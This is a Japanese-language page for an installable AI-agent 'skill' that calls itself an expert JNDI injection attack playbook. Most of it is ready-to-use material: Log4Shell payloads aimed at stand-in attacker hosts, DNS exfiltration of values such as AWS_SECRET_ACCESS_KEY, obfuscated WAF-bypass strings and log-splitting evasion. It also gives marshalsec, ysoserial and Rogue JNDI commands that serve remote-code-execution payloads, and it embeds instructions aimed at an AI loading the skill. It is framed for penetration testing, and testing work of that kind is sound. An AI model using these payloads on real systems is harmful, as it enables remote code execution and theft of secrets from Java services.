jndi-injection について
Java アプリケーションを調査するセキュリティテスター向けの JNDI インジェクションガイドです。一般的なデシリアライズとの違いを示し、RMI、LDAP、Log4Shell、JDK の制約、テストツールを扱います。
主な機能
- 01RMI と LDAP のルックアップ攻撃面
- 02JDK の制約と回避経路
- 03Log4Shell のプローブと注入箇所
- 04marshalsec などのツール
活用シーン
- 01ユーザー入力による JNDI ルックアップの調査
- 02Log4j2 のログ注入リスク評価
- 03JDK バージョン別の攻撃経路分析
- 04DNS プローブによる JNDI 評価の確認
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ yaklang/ hack-skills --skill jndi-injectionインストール後、Claude Code で/jndi-injectionを入力して読み込まれたか確認します。
詳細
スキル:JNDI インジェクション — エキスパート向け攻撃プレイブック
AI 読み込み指示:エキスパート向け JNDI インジェクション技法です。ルックアップ機構の悪用、RMI/LDAP によるクラスの読み込み、JDK バージョンの制約、Log4Shell(CVE-2021-44228)、marshalsec ツール、デシリアライズガジェットを使った 8u191 以降の回避策を扱います。ベースモデルは JNDI インジェクションと一般的なデシリアライズを混同しがちですが、このファイルではそれぞれ異なる攻撃対象領域であることを明確にします。
0. 関連するルーティング
- JNDI がデシリアライズにつながる場合は deserialization-insecure(8u191 以降の回避経路)
- JNDI シンクに SpEL または OGNL の式評価を通じて到達する場合は expression-language-injection
1. 基本的な仕組み
JNDI(Java Naming and Directory Interface)は、ネーミング/ディレクトリサービス(RMI、LDAP、DNS、CORBA)からオブジェクトを検索するための統一 API を提供します。
脆弱性:InitialContext.lookup(USER_INPUT) が攻撃者の制御する URL を受け取ると、JVM は攻撃者のサーバーに接続し、任意のコードを読み込んで実行します。
// Vulnerable code pattern:
String name = request.getParameter("resource");
Context ctx = new InitialContext();
Object obj = ctx.lookup(name); // name = "ldap://attacker.com/Exploit"
2. 攻撃ベクトル
RMI(リモートメソッド呼び出し)
rmi://attacker.com:1099/Exploit
攻撃者は、リモートクラスを指す Reference オブジェクトを返す RMI サーバーを実行します:
// Attacker's RMI server returns:
Reference ref = new Reference("Exploit", "Exploit", "http://attacker.com/");
// JVM downloads http://attacker.com/Exploit.class and instantiates it
LDAP
ldap://attacker.com:1389/cn=Exploit
攻撃者は、javaCodeBase、javaFactory、またはシリアライズ済みオブジェクト属性を持つエントリを返す LDAP サーバーを実行します。
RMI よりも LDAP が優先されます。LDAP への制限追加は RMI よりも後だったためです(RMI は JDK 8u121、LDAP は JDK 8u191)。
DNS(検出のみ)
dns://attacker-dns-server/lookup-name
RCE を伴わずに JNDI インジェクションを確認する際に有用です。攻撃者が権威 DNS サーバーとして管理する NS に DNS クエリを発生させます。
3. JDK バージョンの制約と回避策
| JDK バージョン | RMI リモートクラス | LDAP リモートクラス | 回避策 |
|---|---|---|---|
| < 8u121 | はい | はい | 直接クラスを読み込む |
| 8u121 – 8u190 | いいえ(trustURLCodebase=false) | はい | LDAP ベクトルを使用する |
| >= 8u191 | いいえ | いいえ | LDAP 経由でシリアライズ済みガジェットオブジェクトを返す |
| >= 8u191(代替策) | いいえ | いいえ | BeanFactory + EL インジェクション |
8u191 以降の回避策:LDAP → シリアライズ済みガジェット
リモートクラスの URL を返す代わりに、攻撃者の LDAP サーバーは javaSerializedData 属性でシリアライズ済み Java オブジェクトを返します。JVM はそれをローカルでデシリアライズします。クラスパスにガジェットチェーン(例:CommonsCollections)があれば、RCE が実現します。
# ysoserial JRMPListener approach:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "id"
# Then JNDI lookup points to: rmi://attacker:1099/whatever
8u191 以降の回避策:BeanFactory + EL
Tomcat の BeanFactory がクラスパスにある場合、LDAP 応答で EL 式を含むファクトリーとして参照できます:
javaClassName: javax.el.ELProcessor
javaFactory: org.apache.naming.factory.BeanFactory
forceString: x=eval
x: Runtime.getRuntime().exec("id")
4. ツール
marshalsec — JNDI リファレンスサーバー
# Start LDAP server serving a remote class:
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://attacker.com/#Exploit" 1389
# Start RMI server:
java -cp marshalsec.jar marshalsec.jndi.RMIRefServer "http://attacker.com/#Exploit" 1099
# The #Exploit refers to Exploit.class hosted at http://attacker.com/Exploit.class
JNDI-Injection-Exploit(オールインワン)
java -jar JNDI-Injection-Exploit.jar -C "command" -A attacker_ip
# Automatically starts RMI + LDAP servers with multiple bypass strategies
Rogue JNDI
java -jar RogueJndi.jar --command "id" --hostname attacker.com
# Provides RMI, LDAP, and HTTP servers with auto-generated payloads
5. LOG4J2 — CVE-2021-44228(LOG4SHELL)
仕組み
Log4j2 は Lookup に対応しており、ログメッセージ内で ${...} のような式を評価します。jndi ルックアップは InitialContext.lookup() を呼び出します:
${jndi:ldap://attacker.com/x}
このパターンを含むログ出力される文字列はどれでも脆弱性を発動させます。User-Agent、フォームフィールド、HTTP ヘッダー、URL パス、エラーメッセージなどが該当します。
検出用ペイロード
${jndi:ldap://TOKEN.collab.net/a}
${jndi:dns://TOKEN.collab.net}
${jndi:rmi://TOKEN.collab.net/a}
# Exfiltrate environment info via DNS:
${jndi:ldap://${sys:java.version}.TOKEN.collab.net}
${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.TOKEN.collab.net}
${jndi:ldap://${hostName}.TOKEN.collab.net}
WAF 回避のバリエーション
Log4j2 のルックアップパーサーは非常に柔軟です:
${${lower:j}ndi:ldap://attacker.com/x}
${${upper:j}${upper:n}${upper:d}i:ldap://attacker.com/x}
${${::-j}${::-n}${::-d}${::-i}:ldap://attacker.com/x}
${j${::-n}di:ldap://attacker.com/x}
${jndi:l${lower:D}ap://attacker.com/x}
${${env:NaN:-j}ndi${env:NaN:-:}ldap://attacker.com/x}
ログ分割による回避(高度)
WAF が単一リクエスト内の ${jndi:...} を検知する場合は、2 つのログエントリーに分割します:
# Request 1 (logged first):
X-Custom: ${jndi:ldap://attacker.com/
# Request 2 (logged second):
X-Custom: exploit}
アプリケーションが再処理の前にログエントリーを連結する場合(例:集約パイプライン)、連結された ${jndi:ldap://attacker.com/exploit} が発動します。
実際の事例:Solr Log4Shell
# Confirm via DNSLog — Solr admin cores API:
GET /solr/admin/cores?action=${jndi:ldap://${sys:java.version}.TOKEN.dnslog.cn}
# DNS hit with Java version = confirmed Log4Shell in Solr
テスト対象のインジェクションポイント
User-Agent X-Forwarded-For Referer
Accept-Language X-Api-Version Authorization
Cookie values URL path segments POST body fields
Search queries File upload names Form field names
GraphQL variables SOAP/XML elements JSON values
影響を受けるバージョン
- Log4j2 2.0-beta9 から 2.14.1
- 2.15.0 で修正(一部)、2.17.0 で完全に修正
- Log4j 1.x は影響を受けません(ルックアップ機構が異なります)
6. OTHER JNDI SINKS (BEYOND LOG4J)
| Product / Framework | Sink |
|---|---|
| Spring Framework | JndiTemplate.lookup() |
| Apache Solr | Config API, VelocityResponseWriter |
| Apache Druid | Various config endpoints |
| VMware vCenter | Multiple endpoints |
| H2 Database Console | JNDI connection string |
| Fastjson | @type + JdbcRowSetImpl.setDataSourceName() |
7. TESTING METHODOLOGY
Suspected JNDI injection point?
├── Send DNS-only probe: ${jndi:dns://TOKEN.collab.net}
│ └── DNS hit? → Confirmed JNDI evaluation
│
├── Determine JDK version:
│ └── ${jndi:ldap://${sys:java.version}.TOKEN.collab.net}
│
├── JDK < 8u191?
│ ├── Start marshalsec LDAP server with remote class
│ └── ${jndi:ldap://attacker:1389/Exploit} → direct RCE
│
├── JDK >= 8u191?
│ ├── LDAP → serialized gadget (need gadget chain on classpath)
│ ├── BeanFactory + EL (need Tomcat on classpath)
│ └── JRMPListener via ysoserial
│
└── WAF blocking ${jndi:...}?
└── Try obfuscation: ${${lower:j}ndi:...}
8. QUICK REFERENCE
# Safe confirmation (DNS only):
${jndi:dns://TOKEN.collab.net}
# LDAP RCE (JDK < 8u191):
${jndi:ldap://ATTACKER:1389/Exploit}
# Version exfiltration:
${jndi:ldap://${sys:java.version}.TOKEN.collab.net}
# Log4Shell with WAF bypass:
${${lower:j}ndi:${lower:l}dap://ATTACKER/x}
# Start LDAP reference server:
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://ATTACKER/#Exploit" 1389
# Post-8u191 — ysoserial JRMP:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "id"